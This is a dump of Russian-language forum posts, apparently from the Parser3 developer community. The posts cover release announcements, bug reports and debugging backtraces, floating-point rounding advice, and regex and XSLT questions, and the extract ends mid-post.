"47745","Понятно. А файлы конфигураций, например, .htaccess которые различны для разработчиков и хостингов вы не включаете в CVS?\
\
И еще я так понял CVS не умеет сама закачивать файлы на хостинг по FTP?"
"47746","Полный код занимает 178 строк - не копировать же его целиком :)\
Приходится вырезать проблемный кусок, вот опечатки и получаются \
\
Очень странно, больше никаких процедур, связанных с изменением поля объекта нет. А у меня выводит !!!...\
\
Спасибо за ответы, \
извините, что отнял время, буду копаться дальше :("
"47747","Как бы из Парсера заюзать что-нить наподобие CBC::Blowfish, дабы можно было потом по ключу расшифровать зашифрованное?"
"47748","спасибо всем, кто пытался помочь,\
ошибку нашел,\
все работает :)"
"47749","сделано даже немного больше, чем анонсировалось, см. [url=\"/news/\"]новости[/url].\
\
SQL драйвера не менялись.\
XML библиотеки не менялись."
"47750","включает в себя все изменения 3.1.5, добавлены свойства и обновлены библиотеки работы с XML и памятью, см. [url=\"/news/\"]новости[/url].\
\
теперь XML операции будут занимать примерно столько памяти, сколько было в 3.1.3, но не будут падать, как это иногда в 3.1.3 бывало.\
\
SQL драйвера не менялись.\
XML библиотеки [b]изменились[/b]."
"47751","качаем :)"
"47752","Забавно - наше сообщество живет по собственным ритмам - \
люди ждут php5, asp.net и т.д.  -  у нас свой \"красный день календаря\" ;)"
"47759","Всех поздравляю!"
"47760","Обрадовался, что все заработало. Письмо шлю - скрипт запускается. Ура.\
\
Как тело письма поймать?"
"47761","..../parser3.cgi ......mailrobot.parser\
работает. тестовые действия делает.\
кто знает как тело письма получить?"
"47763","> языка, а модульность языка позволяет легко наращивать \
> функциональность.\
\
Что подразумевается под МОДУЛЬНОСТЬЮ?\
Где это в Парсере можно модули наращивать?"
"47765","^table::create{nameless;} - 'create' called with two params, first param may only be string 'nameless' (parameter #1) [parser.runtime]\
\
ok. ^table::create{nameless}\
\
только вот теперь к пустой колонке $t.0 не обратиться...\
'0' column not found [parser.runtime]"
"47766","а ведь раньше работало... поставил \"127.0.0.1\" - все ок...\
такая ошибка раньше была если писал == а не eq."
"47767","Вот стоит у меня Джент. набор, пишу сайты. Но когда хочу зайти на эти же сайты уже в Интерненте, пишет сервер не найден. Приходится идти обходными путями (хостер дает доп.домен).\
Жутко неудобно..."
"47769","Главное, чтобы не вылезло ошибок при обновлении версии на страрых сайтах."
"47770","есть несколько моментов:\
\
1. в документации не описан новый оператор слип.\
\
2. не исправлена одна небольшая ошибка, правда насколько я понял кроме меня она больше никому не досаждала, пусть будет..."
"47772","Феерично! слов нет:)"
"47773","Я бы на вашем месте всегда, при сравнении строк, ставил кавычки."
"47774","Это раз.\
А два, это то, что данных нет и не к чему обращаться."
"47775","... и получам, что наращивется функциональность, а не модульность.\
\
А в отношении парсера, наверняка, имеется в виду создание пользовательских классов.\
http://www.parser.ru/docs/lang/defineclass.htm"
"47778","sleep, это то, что всем нам нужно.\
не оператор -- нормальный сон.\
я вот животом маюсь с вечера, отмокаю в ванной и пишу с коммуникатора :)\
а вы?\
[code]\
@at_night[]\
^все.foreach[id;коллега_программист]{\
    ^коллега_программист.sleep($CONFIG:SLEEP.NORMAL_TIME_MILLISECONDS)\
}\
$result[свежие мысли и счастливый клиент]\
[/code]\
\
кому не лень вдруг, чиркните статью про ^sleep...\
если чего полезного ещё нужно, пишите. CVS не дремлет."
"47779","[quote]\
Теперь double.int соответствует документации — округляет значения (раньше: обрезались).\
[/quote]\
возможно, дело в этом. (досадный глупый bug был)\
\
если так, тут вам нужно [b]подумать[/]: допустим, насчиталось \"1.005\", это сколько копеек?\
\
\
в Израиле нет монетки \"1 ogorot\" (тамошняя копейка), так везде принято округлять в пользу покупателя!\
fun: на чеках, внизу, после total, прямо так и пишут:\
\
[i]\"А ещё мы в вашу пользу одну копейку насчитали, спасибо\"[/i]"
"47780","У него, я вижу, и Студия не та, и СЗК не тот. И про МТС он всё знает. И стихи пишет. И Катю знает. И техногрет у него свой скоро будет, видимо ))"
"47782","как-то ранней зимой собрались куда-то поехать, выходим, а машина почти_заперта другими.\
\
тронулись под хитрокривым углом, чтоб никого не зацепить, но тут же колёса попали на лёд и всё.\
\
вылезаю, жена за руль, тырк-дырк, ни с места.\
но выход с пешеходной дорожки, что напротив подъезда дома, уже перекрыли.\
\
тут, одновременно, на пешеходной дорожке зарисовывается мужичок, а из-за угла дома -- сугубо советского вида тётка.\
\
ускоряем попытки сдвинуться, чтобы хотяб мужичка пропустить. фиг.\
\
мужик встал, злобно смотрит.\
и... тётка тож.\
\
тырк-дырк*N, фиг.\
\
сажусь в машину отдохнуть, мужик как-то там протиснулся и ушёл... а тётка стоит и что-то бормочет.\
за двигателем не слыхать, но на личике всё написано вполне разборчиво.\
\
что-то нервная система была уставшая (PAF v2000, кажется),  открываю дверцу, высовываю нос, реплика:\
\
[i]я так понял, тут есть недовольные?![/i]\
\
тётка:\
\
[i]понаставили... <дальше неразборчиво>[/i]\
\
ваш покорный, по наитию:\
\
[i]пошуметь каждый горазд, а как насчёт помочь? и душевно смотрю на ближнего[/i]\
\
-5 сек пауза-\
\
неглядя дверку закрываю, пытаюсь снова в раскачку (устал толкать).\
\
-15 сек-\
\
тут вижу картину маслом (до сих пор перед глазами):\
\
эта самая \"советская\" тётка \
ставит авоськи, и \
без слов движется в сторону задней части нашей машины, \
упирается и... начинает толкать!\
\
-5 сек action-\
\
мы на чистом месте.\
\
занавес."
"47783","3.1.5 ставится без проблем."
"47784","но кода нового много.\
сразу:\
пожалуйста пришлите эту .core (если файла нет, попросите администратора \"включить запись core, временно\"). иногда только .core достаточно для понимания.\
\
потом:\
вдруг получится хоть как сузить?\
\
если нет, готов на bug.zip (весь сайт+вся dump.sql), по уничтожению bug, сотру и материалы.\
\
\
чувствую, пора из ванной вылезать: с собакой на прогулку, в машину на работу, к клавиатуре за отладчик. ура!"
"47786","не работает следующий код\
\
[code]\
$str[1+2]\
...\
^left_string[$str;+]\
...\
\
########################################\
# $substr - символ или набор символов до которого нужно отрезать строку слева\
#####\
@left_string[str;substr]\
^if(def $str && def $substr && ^str.match[^taint[regex][$substr]]){\
	$result[^str.match[^^(.*?)^taint[regex][$substr].*?^$][]{$match.1}]\
}{\
	$result[$str]\
}\
### End @left_string[]\
[/code]\
\
Ошибка такая:\
regular expression syntax error - nothing to repeat"
"47787","собака уже погуляла.."
"47788","Я попробовал у меня работает - пользоваться можно :)) Странно что даже ничего не упало, хотя не на всех проектах, ну да и фиг с ним."
"47789","пока менеджеров нет, шмыг, и к делу.\
(core принял. more info welcome)"
"47790","Округлять РОВНО .69 до .68 или 69 до 68- это, простите, как называется? Округление? [b]Обрезание[/b]? Или как?"
"47791","Версия 3.2 под 3.14 всё работает"
"47792","Похоже до кода дело вообще не доходит т.к. упрощение до одного метода @main[] ничего не дало.\
\
Версия без xml даёт такой же результат."
"47793","сожалею, что так вышло: специально для вас сделал, ровно так, как вы предлагали, но это неправильно протестил :(\
\
если есть возможность соберите и рассмотрите fixed внимательно.\
win32 версию могу на почту скинуть.\
\
всем: фичу ^taint[regex] будем считать нерабочей. в распечатанной страничке документации просьба аккуратно зачеркнуть.\
\
\
менеджеры не пришли, но клиенту же не помешаешь позвонить.."
"47794","Действительно, cvs не умеет закачивать на хостинг файлы, для этого нужно иметь на хостинге шелл, и FTP становится ненужным.\
\
По поводу .htaccess: мы настраиваем на хостинге свой, и при chechout исходников измененный на хостинге .htaccess НЕ ПЕРЕЗАПИСЫВАЕТСЯ."
"47795","…о трех мелких несовместимостях с предыдущими версиями, опубликованные \
28 июля 2005 и \
02 декабря 2005, \
см. [url=\"/news/\"]архив[/url]. "
"47797","я думаю, что ваши так называемые 86 на самом деле являлись чем-то вроде 85.9956\
если сделать trunc, получится 85 и получится.\
\
схемка микроскопа:\
[code]\
^value.format[%.100f]\
[/code]\
\
именно поэтому и предлагал [b]подумать[/b].\
\
если ошибаюсь, bug.html на бочку? ;)"
"47798","уже [url=\"http://www.parser.ru/forum/?terms=mail%3Areceive&search_in_message=1&author=paf&doSearch=1\"]писал[/url]"
"47799","Предыдущий запрос в слое поверх, который можно закрыть"
"47800","была оптимизирована работа с выражениями вида\
(число)\
\
теперь это работает существенно быстрее, однако да, теперь нельзя в выражении использовать незакавыченные строки, если они начинаются с цифры."
"47801","Теперь этот код сообщает это:[code]getting value of stat-ed file[/code]\
\
3.1.5, 3.2.0 (win32)\
\
Эту же ошибку вызывал следующий код. После удаления хешфайла с диска (вручную), прекратилось. Воспроизвести ошибку еще раз не получилось.\
\
[i]bug.html[/i][code]@auto[]\
$sets[^hash::create[]]\
\
@main[]\
$hashfile[^hashfile::open[/../data/reg_double]]\
$uid[^math:uuid[]]\
$hashfile.[$uid][$.value[1]$.expires(1)]\
^bug[]\
$sets.content\
\
\
@bug[]\
$sets.content[\
	^if(^hashfile.[$uid].int(0) == 1){\
		^hashfile.delete[$uid]\
		[b]^hashfile.foreach[k;]{}[/b] ^rem{это приводило к ошибке}\
была такая запись}{не было такой записи}\
][/code]"
"47802","Например есть трока:\
\
$stri[1as,23,4t5,678,91]\
\
Мне нужно найти и определить кол-во цифр 1 в этой строке.\
\
Я думал что мне поможет это:\
$tb[^stri.match[1][g]]\
^tb.save[tb.txt] \
\
Но выдаётся пустая таблица:\
\
prematch	match	postmatch	1	2	3	4	5....100\
\
Подскажите как подобные вещи можно осуществить."
"47803","первоначальный код делает странное.\
тут важно падать относительно вежливо.\
так и сделал. поправьте, если неправильно понял.\
\
сегодняшнее: не уловил, как могло быть описанное. если вдруг увидите что подобное, сразу стучите."
"47804","Выслать ли reg_double[b].pag[/b], который вызывает ошибку? И бонусом — который не вызывает?\
\
bug.html теперь сообщил:\
[code]method_frame may not be overwritten with hash, store it to variable instead[/code]"
"47805","правильно описываете. действительно в новом gc тут что-то умеет падать.\
\
на доступных мне машинах работает исправно:\
[code]\
$ uname -a\
Linux *** 2.4.32\
[/code]\
\
какая точно версия вашего Linux?\
\
ещё почитаю, что там такого автор libgc в 6.6 поменял... до сих пор этот уважаемый человек никогда ничего не ломал.\
\
[code]\
(gdb) bt\
#0  0x001a7ae1 in ?? ()\
#1  0x001a77a5 in ?? ()\
#2  0x0000472c in ?? ()\
#3  0x00000006 in ?? ()\
#4  0x001a8da8 in ?? ()\
#5  0x00000006 in ?? ()\
#6  0x080e552e in GC_linux_stack_base () at os_dep.c:964\
#7  0x080e561b in GC_get_stack_base () at os_dep.c:1036\
#8  0x080e4665 in GC_init_inner () at misc.c:676\
#9  0x080e1868 in GC_generic_malloc_inner (lb=80, k=1) at malloc.c:123\
#10 0x080e196e in GC_generic_malloc (lb=80, k=1) at malloc.c:192\
#11 0x080e1aca in GC_malloc (lb=80) at malloc.c:297\
#12 0x080b89aa in __static_initialization_and_destruction_0 (__initialize_p=1, __priority=65535)\
    at ../../src/include/pa_memory.h:122\
#13 0x080b8a1e in global constructors keyed to xdoc_base_class () at xdoc.C:46\
#14 0x081d1d45 in __do_global_ctors_aux ()\
#15 0x0804b366 in _init ()\
#16 0x001979ea in ?? ()\
#17 0x00000000 in ?? ()\
(gdb)\
[/code]"
"47806","просьба, чиркните ответ команды\
[code]uname -a[/code]\
\
нужно, чтобы подсобрать статистики для внятного сообщения автору libgc [если раньше сам во всём не разберусь]."
"47808","как понимаю, на linux обязан существовать некий хитрый файл:\
/proc/self/stat\
\
при старте, libgc пытается считать этот файл, но не получается.\
кстати, кроме core вы могли увидеть предсмертную записку в stderr.\
\
почему /proc/self/stat недоступен на вашей OS не очень понятно.\
\
[code]\
[~/parser3project-3.2.0/src/gc6.6]$ cat /proc/self/stat\
14783 (cat) R 11479 14783 11479 34822 14783 0 13 0 85 0\
0 1 0 0 15 0 0 0 135458851 1327104 86 4294967295\
134512640 134526036 3221224064 3221223672\
1074702100 0 0 0 0 0 0 0 17 0\
[/code]\
\
пожалуйста, попробуйте спросить об этом вашего админа, обычно админы люди очень умные, и знают ответы на подобные вопросы.\
\
при сборке libgc 6.4+ из исходников следует использовать команду\
[code]\
CPPFLAGS=USE_LIBC_PRIVATES \\\
./configure ...\
[/code]\
\
поскольку, увы, автора libgc непонятные тёмные личности убедили сделать вредную недокументированную вещь:\
gc6.6/doc/README.changes\
[quote]\
Since 6.3:\
...\
 - By popular demand, use __libc symbols only if we are built with\
   USE_LIBC_PRIVATES, which is off by default, and not otherwise documented.\
[/quote]\
\
и это по крайней мере у одного человека загрустило."
"47809","указать используемую OS."
"47811","А вообще уже не актуально, вроде?"
"47812","Александр, просто вызовите ^int2str:money2str(69.86)\
Любопытно, что получится у Вас."
"47813","sleep. Приостановить выполнение скрипта.\
^sleep(число секунд)\
Оператор приостанавливает работу скрипта на указанное [b]число секунд[/b].\
\
"
"47814","правда не Blowfish а [url=\"http://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm\"]TEA[/url], ибо оно попроще будет в реализации, и к ресурсам вроде менее прожорливо. Недоделал. Возникли проблемы с сериализацией данных, или как оно там называется, вобщем нульшар в строках у парсера не поддерживается (есть подозрение что ПАФ специально его не поддерживает, чтобы глупостями не занимались ;), и еще кое что по мелочи.\
\
Мне уже не актуально, однако спортивный интерес остался - надо будет как нибудь попробовать доделать. Тем более что в новой версии появилось BASE64, может чего и получится..."
"47815","я думаю, администратор несчастной машины быстро сообразит, какую запятую в каком конфиге поправить, чтобы и на его площадке работало linux-стандартное приложение.\
\
дело в том, что тот способ, которым можно заставить действовать libgc -- хак.\
по-умолчанию libgc 6.6 действует официально.\
\
хак работает.\
официальный путь -- нет.\
это ненормально.\
\
мы пока не пересобираем ничего. подкопим мелочей."
"47816","[Fri Dec 09 16:06:05 2005] [3924] unknown untaint language #192\
[Fri Dec 09 16:06:08 2005] [3560] unknown untaint language #148\
[Fri Dec 09 16:06:46 2005] [2160] unknown untaint language #24\
[Fri Dec 09 16:06:48 2005] [2428] unknown untaint language #24\
[Fri Dec 09 16:06:50 2005] [1576] unknown untaint language #24\
[Fri Dec 09 16:06:52 2005] [568] unknown untaint language #16\
[Fri Dec 09 16:06:54 2005] [2996] unknown untaint language #16\
[Fri Dec 09 16:06:56 2005] [3216] unknown untaint language #148\
[Fri Dec 09 16:06:58 2005] [3912] unknown untaint language #24\
\
Один и тот же код. Данные неизменны"
"47817","Если за кодом стоит \
\
[code]	\
$transformedDoc[^XML_Document.transform[$PropertyData_XSL]]\
^transformedDoc.string[$.method[html]]\
[/code]\
\
через раз выдает\
Unhandled exception 0xC0000005 at 0x10005185\
\
\
UPDATE:\
ошибку вызывал \
[code]^memory:compact[][/code]\
прямо перед этими строчками\
\
UPDATE:\
[code]^memory:compact[]\
^throw[test;test]\
[/code]\
Приводит к жутким странностям :) \
"
"47818","судя по комментарию в коде\
http://www.parser.ru/examples/int2str/\
\
его автор не разобрался в ключевом моменте.\
он столкнулся с проблемой и ничего о ней не написал на форум/мне.\
\
смотрим на его комментарий:\
[code]\
# Если сделать $cop(^math:trunc(^math:frac($amount)*100))\
# по непонятной мне причине $amount = 123.21 дает $cop = 20\
[/code]\
дальше автор не ищет совета -- увидев проблему он ставит на неё сверху пепельницу:\
[code]\
$cop(^math:frac($amount)*100) # Копейки - два знака после запятой\
[/code]\
\
так работать с числами с плавающей точкой нельзя.\
\
все знают, что компьютеры работают не с десятичным представлением числа, а вовсе даже с двоичным.\
\
иными словами внутри хранится не набор степеней десятки, а набор степеней двойки.\
\
иными словами, в частности, после десятичной точки число собирается не из кусочков\
0.1\
0.01\
0.001\
а из кусочков\
1/2\
1/4\
1/8\
\
причём лишь с известной конечной точностью.\
\
вот проблема лицом:\
[code]\
$f(123.86-123)\
#вышеобъявленный микроскоп\
^f.format[%.20f]]\
[/code]\
в зависимости от реализации системных библиотек это число выведется по-разному:\
\
intel/sparc solaris, linux\
0.85999999999999943157\
0.85999999999999943157\
\
win32\
0.85999999999999943000\
\
видно, что по-разному подбиваются [b]незначащие[/b] разряды.\
но значащие 15 хранятся исправно:\
0.859999999999999\
\
в математике число\
0.(9) << ноль целых, девять в периоде\
это просто ещё одна запись числа \
1 << один\
они не отличаются ни на сколько.\
\
поэтому числа с плавающей точкой всегда при выводе округляют (round).\
\
объявляется конкурс на то, как правильно надо было написать это место в int2str.\
\
мне вспоминается, что об этом уже тут писал."
"47819","Собрал только что все что можно (3.1.5/3.2.0) для хостинга www.rusonyx.ru - все работает без всяких хаков. Посмотрим в процессе эксплуатации...\
\
http://www.opensea.tv/parser3/\
"
"47820","Собрал на valuehost.ru\
До этого были проблемы с быстродействием и я уже планировал аудит-оптимизацию-реструктуризацию...\
Теперь работает на 55% быстрее.\
Это конечно не отменяет оптимизацию и аж странно, но... зачот!\
уже несколько часов никаких сообщений в эррорлоги. все летает.\
\
З.Ы.\
Уважаемое руководство ПАФа!\
Выпишите, пожалуйста ему премию за проффесионализм."
"47823","Шустрота особо заметна в силу того, что для разработок я использую старенький ноутбук с Pentium 233. Что-то приятное произошло со связкой с odbc, которая казалась \"бутылочным горлышком\".\
\
Мишин класс засбоил в методе @updateSession на фрагменте \"dt_acess = ^csql.now[]\". Переименование в \".now2[]\" и создание соотв. метода в mssql.p решило проблему, в причинах же разбираться пока лень."
"47824","т.е. мой оптимизм \
http://www.parser.ru/docs/src/pa__globals_8C-source.htm\
строка 36\
\
был неоправдан?\
не очень понял первое сообщение: при каких обстоятельствах это?\
\
можете ли стабильно воспроизвести? bug.html?"
"47826","Вместо \
[code]\
$cop(^cop.int[])\
[/code]\
\
надо делать округление до целого:\
\
[code]\
$cop(^math:round($cop))[/code]"
"47828","Абсолютно и бесповоротно! Такая же ситуэшн. Хоть вешайся."
"47829","Может кто еще знает почему?"
"47832","Там не должно быть такого:\
\
127.0.0.1    Ваш_домен    \
\
Там должно быть только: \
\
127.0.0.1    localhost\
\
Скорее всего Денвер при завершении работы не \"чистит\" его.\
\
http://www.parser.ru/forum/?id=46209"
"47833","Получилось!!!"
"47834","Вы решили не утруждать себя чтением ветки. Ну или хотя бы ответов на вопрос."
"47835","а где вы такое нашли?"
"47836","^messages.menu{\
	$str[$messages.private_to $messages.author]\
	^if(^str.match[$cookie:user]){$ClassName[colored_bg]}{$ClassName[usual_bg]}\
}\
\
что в этом коде не так? Надоел с ошибкой - всю кровь выпил... Помогите кто чем может..."
"47837","Так все работает:[code]@normal[a;b][result]\
^if($a){\
	$a\
}{\
	$b\
}[/code]\
\
Но как только появился текст:[code]@bug[a][result]\
^if($a){\
	$a\
}{\
	[b]бе[/b]\
}[/code]\
— ошибка parser.compile[code]parse error, expecting `';'' or `'}''[/code]"
"47839","Помогите регуляркой. Нужно выкусывать все комментарии.\
\
Такой код работает не верно, если в теле комментария есть закрывающая фигурная скобка, т.е., к примеру, был кусок кода, содержащий, ^if(...){...}, который позже закоментировали:\
\
[code]\
^string.match[(\\^^rem{.*?})][gi]{}\
[/code]\
\
Задача, как я понимаю, состоит в подсчете любого количества парных скобок внутри комментария... Но как это сделать — не представляю."
"47840","[code]^rem{ *** комментарий *** }[/code]\
\
:-)"
"47841","А если нужно закомментировать большой кусок кода, то пишут так:\
\
[code]\
^rem{...}\
[/code]\
\
А разбираться в куче чужого кода и добавлять звездочки... Ох уж :)\
Кстати, колорер для FAR-а правильно раскрашивает комментарии. Пойду посмотрю как там сделано.\
\
Привет :)"
"47842","[code]\
@method[][result]\
^rem{ догадайтесь, что произойдет и сколько вы будете искать ошибку? :) }\
$result[]\
$i(1)\
[/code]"
"47843","[code]^rem{^if(){}{}{}//{}[/code]\
\
Все-таки неверно :("
"47844","Вот как все просто в colorer-е для FAR-а:\
\
[code]\
<!-- Comments -->\
<block start=\"/^#/\" end=\"/$/\" scheme=\"Comment\" region=\"dComment\"/>\
<block start=\"/\\^rem\\{/\" end=\"/\\}/\" scheme=\"parser3\" region=\"dComment\" region00=\"dpOpenStruct\" region10=\"dpCloseStruct\"/>\
[/code]"
"47845","Работает:[code]@a[][result]\
\
@b[]\
^a[][/code]\
\
\
Не работает:[code]@a[][result]\
^rem{ ошибка здесь }\
\
@b[]\
^a[][/code]\
\
Со строчным комментарием работает."
"47846","... используется достаточно сильно-модифицированная библиотека регулярных выражений. Версия PCRE, используемая в Парсере, обрабатывать вложенные структуры не умеет.\
\
В .NET, например, сделали специальное расширение для обработки вложенных структур. Другой вопрос: а зачем это нужно-то? Практически?"
"47847","Пишу что-то вроде «компилятора» html/p файлов, который сливает все строки в одну, удаляя комментарии, в каждом методе. Т.е. получается такой код, независимо от количества строк в методе:\
\
[code]\
@method1[]\
код метода, одна строка\
@method2[]\
код следующего метода, также одна строка\
[/code]"
"47849","Я, конечно, понимаю, что многие молодые парсеристя, начали перенимать Мишину [это не наезд :)] манеру коментирования кода через ^rem. С моей точки зрения она ущербна. Гораздо проще, а главное надежнее вставлять коментарии с использованием \"#\". \
\
Что касается коментирования кусков кода, то, например, UltraEdit умеет отлично применять строчные коментарии: в контекствном меню есть пункты \"Comment Add\" и \"Comment Remove\"."
"47851","Я тоже код обычно комментирую построчно, отчасти из-за того что в HomeSite тоже хромает раскраска ^rem-ов. Но когда нужно закоментировать большой кусок кода это ужасно неудобно.\
\
Пробовал написать макрос для HomeSite вроде описанных \"Comment Add\" и \"Comment Remove\". Но т.к. я не знаю Java — у меня ничего не получилось... :("
"47852","Можно по-подробнее?.. Т.е. конкретный regexp?.."
"47853","... и задачи у меня такйо нет. Если разберетесь - скиньте примерчик. Думаю народу интересно будет."
"47854","Может быть тогда внести дополнение в документацию?\
http://www.parser.ru/docs/lang/exprlit.htm"
"47855","[quote]Unhandled Exception (Debug)\
column not found\
uri\
z:/home/parser/www/auto.p(7)\
exception.type=parser.runtime menu z:/home/parser/www/auto.p(5)\
navigation z:/home/parser/www/index.html(119)[/quote] Просмотрел кучу ответов, везде одно  и тоже, табуляция... мой [b]sections.cfg[/b]:\
section_id	name	uri \
	1	Главная	/ \
	2	Новости	/news/ \
	табуляцию соблюдаю, все ранво не получается получить метод меню, зачем все так усложнять?"
"47856","Бывает упрется, как ишак, хотя все верно сделано... Ты выключи все, а завтра все будет ОК. Да и устал наверное :)))"
"47857","При вызове [code]^file:delete[/][/code] под Win получаю exception file.access. Под FreeBSD <no_type>. Как такое может быть?"
"47858","^file:delete[/] - это не оператор для удаления каталогов и, тем паче, не оператор для суицида всего сайта. Оператор ^file:delete[] удаляет только файлы."
"47859","Поймал вот что, если есть шаблон, у которого задано имя и совпадение и они идентичны:\
[code]\
<xsl:template name=\"xxx\" match=\"xxx\">\
...\
</xsl:template>\
[/code]\
\
то возникает ошибка:\
\
compilation error: file файл.xsl line х element template\
xsl:template: error duplicate name 'ххх'\
\
Про запрет переменных в именах и совпадениях шаблонов видел [http://www.parser.ru/forum/?id=47497], а это что?"
"47860","Не знаю, у меня под win нормально работает"
"47862","Если Парсер не может найти колонку -- значит это действительно так.\
\
Редактор, которым вы пользуетеь, скорее всего просто автоматически заменяет все табы пробелами. Потому что, где-то в настройках у него стоит такая птичка (заменять табы пробелами).\
\
Поэтому возможно, что ваш \"sections.cfg\" не содержит табов вовсе. Когда Парсер его читает, он воспринимает всю первую строку как название колонки.\
Парсер не видите колонок \"section_id\", \"name\" или \"uri\". Он видит только одну \"section_id name uri\""
"47863","Может покажете, где оно оговорено?"
"47866","[url=\"http://www.rol.ru/news/it/helpdesk/xslt01.htm#named-templates\"]цитирую[/url]:\
[quote]\
Если элемент xsl:template имеет атрибут name, то он может, но не обязан, иметь также атрибут match.\
[/quote]"
"47867","Вопрос собственно говоря простой:\
как заставить работать такую конструкцию: $form:name$selectStringsName.id\
то есть чтобы получалось: $form:name1\
\
[code]\
@addStrings[]\
<form method=\"POST\">\
<p>Название поля русского: <input name=\"name_rus\" /></p>\
<p>Показать на странице: <input type=\"checkbox\" value=\"1\" name=\"ison\" /></p>\
<input type=\"submit\" name=\"add\" value=\"Добавить\" />\
<input type=\"reset\" name=\"cancel\" value=\"Не добавлять\" />\
</form>\
^if(def $form:name_rus && def $form:add){\
^void:sql{INSERT INTO `stringsname` (`name_rus` , `ison` ) VALUES ('$form:name_rus', '$form:ison')}\
}{Пожалуйста заполните все поля формы}\
\
}\
[/code]\
Если это невозможно, то каким будет наилучшее решение выполняющее следующую функциональность: добавляють формы с их названиями в бд, и соответственно редактировать, как в нижеследующем методе: \
[code]\
\
\
@editStrings[]\
$selectStringsName[^table::sql{SELECT id, name_rus, ison from stringsname }]\
<form method=\"POST\">\
^selectStringsName.menu{\
<p>\
Название поля:<input name=\"name$selectStringsName.id\" value=\"$selectStringsName.name_rus\" /> \
Отображать: <input type=\"checkbox\" name=\"ison $selectStringsName.id\" value=\"$selectStringsName.ison\" ^if($selectStringsName.ison == 1){checked}/>\
Удалить: <input type=\"checkbox\" name=\"delete\" value=\"$selectStringsName.id\" />\
\
</p>\
}\
<input type=\"submit\" value=\"Изменить\" name=\"edit\" />\
^if(def $form:edit ){\
\
^selectStringsName.menu{\
^void:sql{UPDATE `stringsname` SET `name_rus` = '$form:name$selectStringsName.id', `ison` = '$form:ison^$$selectStringsName.id' WHERE `id` = '$selectStringsName.id'  LIMIT 1}}\
}\
</form>\
\
}\
[/code]\
Спасибо!"
"47868","Там как раз ваш вопрос разобран:\
http://www.parser.ru/faq/lang/"
"47870","[quote]^строка.match[[b]шаблон[/b]] \
^строка.match[[b]шаблон[/b]][опции поиска] \
\
Осуществляет поиск в строке по шаблону. \
[b]Шаблон - это регулярное выражение, совместимое с PCRE (Perl compatible regular expressions). [/b]\
Частичный перевод описания PCRE приведен в Приложении 4.[/quote]"
"47872","в доке пытался раскрыть её суть, видимо, не до конца.\
\
методы, помеченные явным [result] в списке локальных переменных, отличаются от остальных.\
\
чтобы сделать это отличие явным, в пользовательском выводе специально запрещены любые знаки, кроме пробельных (которые игнорируются).\
\
возможно, со временем сумею в доке сформулировать чётче.\
\
ваши варианты формулировки welcome.\
формат:\
[quote]было[/quote]\
[b]стало[/b]"
"47874","методы, помеченные [result], особенные, у них своя лексика. в ней нельзя использовать непробельные символы нигде кроме как $result[тут].\
\
^rem тоже подпадает под этот запрет.\
\
непротиворечивые простые варианты, дающие такое-же ускорение, как выбранный, приветствуются."
"47875","и несколько раз раньше обновляли версии \
libxml, libxslt, libgdome, glib и libgc,\
используемые при сборке parser.\
\
однако если реально это нужно только [b]одному[/b] человеку, а багов никто не замечал, то зачем?"
"47876","текст дополнения приветствуется.\
формат:\
[quote]было[/quote]\
[b]стало[/b]"
"47877","если кто-нибудь считает это багом, пусть пришлёт мне patch, который это исправляет.\
\
ещё вспомнлось забавное сообщение в какой-то newsgroup, где вопрошавший приводил в hex небольшую программку в кодах, который предлагал читавшим его письмо запустить и \"проанализировать получившийся файл\".\
кусочек был короткий, записан мной в test.com, и... дизассемблирован.\
\
там было коротко и ясно закодировано… [b]заполнить загрузочный сектор нулями[/b].\
\
и что думаете? нашлось 40 читателей, которые _."
"47878","<xsl:template name=\"xxx\"/><xsl:template name=\"xxx\"/>\
<xsl:template match=\"xxx\"/><xsl:template match=\"xxx\"/>\
\
и это нормально.\
конкретные строчки спецификации можно посмотреть на досуге.\
\
если нужно перегрузить template или разведите по отдельным файлам, или по mode.\
\
иметь же в одном файле два одноимённых или обрабатывающих одно и то же шаблона = ошибка."
"47879","Однако, никаких ограничений на совпадение имени и паттерна нет.\
\
Локализовать пока не могу, на простых трансформациях работает.\
Как только - bug.html сюда."
"47880","[quote]Если строка содержит пробелы, то в выражении ее нужно заключать в кавычки или апострофы.[/quote]\
\
[b]Если строка содержит пробелы или начинается с цифры, то в выражении ее нужно заключать в кавычки или апострофы.[/b]"
"47881","Имел место импорт одного xsl из другого, т.о. получалось, что в полном было два шаблона с одинаковым именем.\
На что Парсер справедливо возмущался.\
\
Что характерно, в 3,1,4 он на это не ругался, поэтому ошибка проходила незамеченной.\
\
Голова, пепел.\
\
Два шаблона с одинаковым паттерном в преобразовании присутсвовать могут, при конфликте вызывается последний, имеющийся в xsl.\
Разрешить конфликт явно можно выставлением приоритета.\
\
А вот с именем - ессно нет."
"47882","Цитата из новостей:\
[quote]Добавлен способ получить все выставленные заголовки HTTP ответа, response:headers.[/quote]\
В доке нет информации по response:headers"
"47883","и я немного загнул про совпадающий pattern. конечно, это можно."
"47884","спасибо!\
\
(выйдет со следующей сборкой документации)"
"47887","Format-Spaces to Tabs (Ultra Edit 32)"
"47890","и ещё.\
речь в ошибке про stat-ed файл идёт?\
это сообщение к hashfile вообще никакого отношения не имеет.\
\
вероятно, вы недолокализовали ошибку.\
предполагаю, она где-то \
* в @postprocess\
* в каком-то отдалённом if, выставляющем $response:body/download\
* в @main"
"47891","действие простое и неплохо бы, чтобы работало идентично на unix и win32.\
\
однако этот bug мелкий и мне лень с ним возиться.\
\
укажите, когда он очень существенен, подумаю.\
а, проще, пришлите patch.\
\
\
мне важно то, что это не bug в 3.1.5, как может показаться кому-то из вашего subject.\
это так с самого начала.\
это просто то, на что вы обратили внимание, поскольку, как и я, прислушивались к шорохам."
"47893","Руки дойдут — полокализую еще."
"47895","Здравствуйте!\
Есть задача проверить файл настроек по закачке прайса. Сам прайс несколько тысяч строк(максимум видел 80000). \
Для проверки настройки нужно взять несколько первых строк, возможно не первых - посоветуйте как ограничить число закачанных строк?\
Что-то вроде \
^table::sql{SQL-запрос }[$.limit(n) $.offset(o)]\
В доках не нашел, буду признателен за помощь или совет."
"47896","я тогда же попробовал и с нулевым .dir, не воспроизвелось.."
"47897","Нет, увы не однократно. Делаю это вызовом перл-скрипта для предварительной обработки файла данных."
"47899","... тогда вы точно проверите -- что у вас там между колонок и нет ли лишних пробелов."
"47901","первое: в double хранится фиксированное количество значащих [b]бит[/b], а не [b]15 десятичных знаков[/b].\
значащих бит там чуть больше, чем на 15 десятичных знаков. на 15 с хвостиком хватает. отсюда берутся вот эти псевдо \"...43\":\
win32\
0.859999999999999[b]43[/b]000\
linux\
